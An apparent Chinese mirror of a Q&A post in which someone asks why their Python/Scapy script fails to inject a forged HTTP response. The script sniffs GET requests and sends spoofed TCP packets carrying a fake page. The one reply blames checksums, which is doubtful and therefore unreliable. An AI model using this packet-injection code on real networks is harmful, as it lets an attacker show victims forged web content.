HTTP响应通过数据包注入进行欺骗

时间:2015-05-20 00:44:18

标签: python-2.7 http tcp scapy

我正在尝试使用python中的scapy发送虚假网页作为响应。我有这个非常简单的代码,只要它看到来自本地机器的GET请求,就会发送一个简短的html页面。但不知怎的,它不起作用,实际的页面总是出现在浏览器中。

from scapy.all import *

def callback(packt):
##    packt.show()
    if Raw in packt[TCP]:
        if packt[TCP][Raw].load.startswith('GET'):
            resp='HTTP/1.1 200 OK\r\nServer: Apache HACKER\r\nContent-Type: text/html\r\n\r\n<html><head><title> an example </title> </head><body> Hello World, </body></html>'
            spoof_packt=Ether(dst=packt[Ether].src,src=packt[Ether].dst)/IP(src=packt[IP].dst,dst=packt[IP].src,ttl=44)/TCP(sport=80,dport=packt[TCP].sport,seq=packt[TCP].ack,ack=packt[TCP].seq+len(packt[TCP][Raw]),flags='PA')/resp
            sendp(spoof_packt)

interface="eth0"

sniff(iface=interface,filter="tcp port 80", prn=callback)

我使用WireShark来捕获数据包跟踪,我看到我的数据包在来自Web服务器的实际响应之前到达。以下是WireShark GUI的数据包跟踪镜头。 enter image description here

以橙色突出显示的数据包是由我的程序发送的欺骗数据包,该数据包在同一台计算机上本地运行。 First Black突出显示的数据包是来自webserver的实际响应。我验证了,两个数据包中的SEQ和ACK数字相同。

如果需要更多信息,请告诉我,我会更新问题。

1 个答案:

答案 0 :(得分:0)

您必须将数据包标题中的校验和更新为新页面。受害计算机在发现它不匹配后尝试验证校验和,它以某种方式要求服务器重新发送数据包。